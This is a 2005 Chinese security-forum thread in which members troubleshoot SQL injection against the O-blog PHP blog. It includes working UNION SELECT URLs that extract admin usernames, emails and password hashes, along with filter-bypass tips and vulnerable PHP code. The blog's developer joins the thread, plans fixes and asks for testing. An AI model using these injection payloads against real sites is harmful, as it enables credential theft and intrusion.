发新话题
打印

[讨论]php注入oblog中遇到的怪事

[讨论]php注入oblog中遇到的怪事

议题提交:Swords [E.S.T]
信息来源:邪恶八进制信息安全团队

//建立表 ob_admin
$sql[] = "CREATE TABLE `ob_admin` (
  `username` varchar(15) default 'admin',
  `password` varchar(40) default '21232f297a57a5a743894a0e4a801fc3',
  `email` varchar(100) default 'admin@shirui.org',
  `homepage` varchar(100) default 'http://shirui.org',
  `qq` varchar(30) default '5194913',
  `msn` varchar(100) default 'shishirui@hotmail.com',
  `icq` varchar(100) default '123456789',
  `remark` text
) TYPE=MyISAM;";

function checkSQL($content)
{
    $char = array("'","or","and");
    for($i=0;$i<count($char);$i++) {
        if(strstr($content,$char[$i])) {
            die();
        }
    }
    Return $content;
}

//导入数据 ob_admin
$sql[] = "INSERT INTO `ob_admin` VALUES (&#39;admin&#39;, &#39;21232f297a57a5a743894a0e4a801fc3&#39;, &#39;admin@shirui.org&#39;, &#39;http://shirui.org&#39;, &#39;5194913&#39;, &#39;shishirui@hotmail.com&#39;, &#39;123456789&#39;, &#39;这家伙很懒,什么都没留下.&#39;);";

http://www.icylife.net/swords/blog.php?id=1%20union%20select%201,1,1,email,1%20from%20ob_admin
http://www.icylife.net/swords/blog.php?id=1%20union%20select%201,1,1,username,1%20from%20ob_admin

以上两个都成功,但是下面这个却一片空白,什么原因?
http://www.icylife.net/swords/blog.php?id=1%20union%20select%201,1,1,password,1%20from%20ob_admin


从表的结构看,password和username,email都是varchar类型阿,那怎么还不能显示??

另外,在51的主机上测试
http://wmjie.51.net/swords/oblog ... 0union%20select%201,1,1,username,1%20from%20ob_admin

更强!直接就没有东西!(这问题谁知道啊?????)

ps:
两个主机上测试loadfile都不能暴出东西来,难道是没有权限??
QQ:838468959

TOP

http://www.icylife.net/swords/bl ... 0union%20select%201,1,1,email,1%20from%20ob_admin
1,mysql里的union查询 一般要前面的输出非 才只输出后面的查询 所以一般的加and 1=2  又有过滤了and
但没有过滤AND ,关节是union的理解 :)
2,引用“两个主机上测试loadfile都不能暴出东西来,难道是没有权限??”
多半是权限问题,也有的是其他问题,比如含有html被解析等等 也看不到数据 这样可以通过看原代码 得到 等等

sword我好像在你blog留言了

TOP

http://www.icylife.net/swords/bl ... 0union%20select%201,1,1,PASSWORD,1%20from%20ob_admin
password大写 论坛不可以编辑!!!

TOP

引用:
下面是引用superhei于06-30-2005 21:08发表的:
http://www.icylife.net/swords/bl ... 0union%20select%201,1,1,email,1%20from%20ob_admin
1,mysql里的union查询 一般要前面的输出非 才只输出后面的查询 所以一般的加and 1=2  又有过滤了and
但没有过滤AND ,关节是union的理解 :)
2,引用“两个主机上测试loadfile都不能暴出东西来,难道是没有权限??”
多半是权限问题,也有的是其他问题,比如含有html被解析等等 也看不到数据 这样可以通过看原代码 得到 等等
.......
没读懂黑锅的话,如果说是and这些包括大小写都被过滤了,其实只要构造一个失败的条件就可以了,比如说Id为一个不存在的数字,如-1等.
2.好象非root用户默认情况下都没有读文件的权限的.(凭经验瞎猜测...).当然也不能仅仅看页面...代码往往蕴涵其中
me=\"kEvin1986\" & chr(0) & \"at solitude\" msgbox len(me)  \' You can see somthing. msgbox me  \' But just part of it. \'i think i will hide part of myself

TOP

引用:
下面是引用kevin1986于07-01-2005 01:03发表的:
2.好象非root用户默认情况下都没有读文件的权限的.(凭经验瞎猜测...).当然也不能仅仅看页面...代码往往蕴涵其中
如果非root用户都不能读文件,那么虚拟主机上的用户一般都不能读了?
QQ:838468959

TOP

引用:
下面是引用superhei于06-30-2005 21:20发表的:
http://www.icylife.net/swords/bl ... 0union%20select%201,1,1,PASSWORD,1%20from%20ob_admin
password大写 论坛不可以编辑!!!
代码我看了好几遍了,没发现过滤password的地方啊?
为什么大写就可以了呢?moross啊!
QQ:838468959

TOP

关于大小写的问题,开始我怀疑是Unix..抓了一下BN,发现不是..于是找个资料.这么说来着
引用:
在 MySQL 中,数据库和表对就于那些目录下的目录和文件。因而,操作系统的敏感性决定数据库和表命名的大小写敏感。这就意味着数据库和表名在 Windows 中是大小写不敏感的,而在大多数类型的 Unix 系统中是大小写敏感的。一个特例是 Mac OS X,当缺省的 HFS+ 文件系统使用时。然而 Mac OS X 还支持 UFS 卷,那些在 Mac OS X 是大小写敏感的就如他们在任一 Unix 上一样。查看章节 1.8.3 MySQL 对 ANSI SQL92 的扩展。

注意:尽管在 Windows 中数据库与表名是忽略大小写的,你不应该在同一个查询中使用不同的大小写来引用一个给定的数据库和表。下面的查询将不能工作,因为它以 my_table 和 MY_TABLE 引用一个表:

mysql> SELECT * FROM my_table WHERE MY_TABLE.col=1;

列名与列的别名在所有的情况下均是忽略大小写的。

表的别名是区分大小写的。下面的查询将不能工作,因为它用 a 和 A 引用别名:

mysql> SELECT col_name FROM tbl_name AS a
   ->            WHERE a.col_name = 1 OR A.col_name = 2;

如果记忆数据库和表名的字母大小写有困难,建议采用一个一致一约定,例如总是以小写字母创建数据库和表。

避免这个问题的另一个办法就是以 -O lower_case_table_names=1 参数启动 mysqld。缺省地在 Windows 中这个选项为 1 ,在 Unix 中为 0。

如果 lower_case_table_names 为 1 ,MySQL 将在存储与查找时将所有的表名转换为小写字线。(从 MySQL 4.0.2 开始,这个选项同样适用于数据库名。) 注意,当你更改这个选项时,你必须在启动 mysqld 前首先将老的表名转换为小写字母。

如果将 MyISAM 从 Windows 移动到一个 Unix 磁盘中,在某些情况下你可能需要使用 “mysql_fix_extensions” 工具来修正指定数据库目录下的文件扩展名(小写字母 “.frm”,大写字母 “.MYI” 和 “.MYD”)。“mysql_fix_extensions” 存放在 “scripts” 子目录下。
me=\"kEvin1986\" & chr(0) & \"at solitude\" msgbox len(me)  \' You can see somthing. msgbox me  \' But just part of it. \'i think i will hide part of myself

TOP

function search()
{
     global $articleNum;
     $keyword = $_POST[&#39;keyword&#39;];
     $sql = "SELECT * FROM `ob_blog` WHERE `title` LIKE &#39;%".$keyword."%&#39; ORDER BY `id` DESC";
     $result = mysql_query($sql);
     $i = 0;
     while($re = mysql_fetch_array($result))
     {
          $blog[$i][&#39;id&#39;]              = $re[&#39;id&#39;];
          $blog[$i][&#39;title&#39;]          = $re[&#39;title&#39;];
          $blog[$i][&#39;content&#39;]     = $re[&#39;content&#39;];
          $blog[$i][&#39;date&#39;]          = $re[&#39;date&#39;];
          $blog[$i][&#39;classid&#39;]     = $re[&#39;classid&#39;];

          $blog[$i][&#39;content&#39;] = cn_substr($blog[$i][&#39;content&#39;],$articleNum);

          $i++;
     }
          return @$blog;
}

看看这个没有过滤的,搜索%&#39; or select * from `ob_admin`
我写进去的全成字符串了,返回没有找到东西
怎么angel写的文章就能突破。我的这个就不行??
QQ:838468959

TOP

大小写的问题 应该是程序代码问题把 我没看代码 黑盒测试的 可能是你看漏了

mysql的读写权限可以设置的 (file权限 )去看看mysql手册 :)

http://www.phpblog.cn/blog.php?i ... 0union%20select%201,1,1,password,1%20from%20ob_admin
官方论坛可以的啊
看来是云舒的空间问题 呵呵 不晓得是不是他自己写的那个iis筛选 搞的鬼 :)

TOP

搜索的一般 没办法利用的 因为有gpc的限制

TOP

引用:
下面是引用superhei于07-01-2005 19:34发表的:
大小写的问题 应该是程序代码问题把 我没看代码 黑盒测试的 可能是你看漏了

mysql的读写权限可以设置的 (file权限 )去看看mysql手册 :)

http://www.phpblog.cn/blog.php?i ... 0union%20select%201,1,1,password,1%20from%20ob_admin
.......
现在全明白了,我早就怀疑了。
QQ:838468959

TOP

MD,去赶快去改程序去。不然马上就完蛋。。。。

另外一句,请大家帮忙测试我刚发布的O-blog 2.5 beta 的漏洞

TOP

引用:
下面是引用fengse于07-12-2005 22:49发表的:
MD,去赶快去改程序去。不然马上就完蛋。。。。

另外一句,请大家帮忙测试我刚发布的O-blog 2.5 beta 的漏洞
风色,我从来没对你那个东西下手,只是测试。。
QQ:838468959

TOP

引用:
下面是引用swords于07-13-2005 07:12发表的:

风色,我从来没对你那个东西下手,只是测试。。
呵,明白啦。谢谢你。
我对安全了解不多,程序漏洞比较低级,呵呵见笑了。

TOP

引用:
下面是引用冰血封情于07-13-2005 12:50发表的:
是o-blog开发者么?
是我 :)
这个论坛不错,我以后会常来学习的

TOP

引用:
下面是引用fengse于07-13-2005 17:18发表的:

是我 :)
这个论坛不错,我以后会常来学习的
晕 太客气了...我这就给您开通VIP组权限:)
这样您以后就可以发主题了....
VIP的手册在这里:
http://www.eviloctal.com/forum/r ... oread=1&fpage=1
论坛发主题的格式在这里(VIP无须到文章提交版面提交主题 可以直接按照格式发到相应版面):
http://www.eviloctal.com/forum/r ... page=1&toread=1


以往fengse先生以后多来小站指点我们团队的技术 斧正我们的错漏之处:)
qq310926是我唯一用号,除此之外有其他号码号自称邪八冰血封情,则非本人。

TOP

引用:
下面是引用冰血封情于07-13-2005 17:29发表的:

晕 太客气了...我这就给您开通VIP组权限:)
这样您以后就可以发主题了....
VIP的手册在这里:
http://www.eviloctal.com/forum/r ... oread=1&fpage=1
.......
别别,老大太客气了。我在安全方面还是小菜鸟,等着大家指教呢,以后我会常来学习的,谢谢你们

TOP

发新话题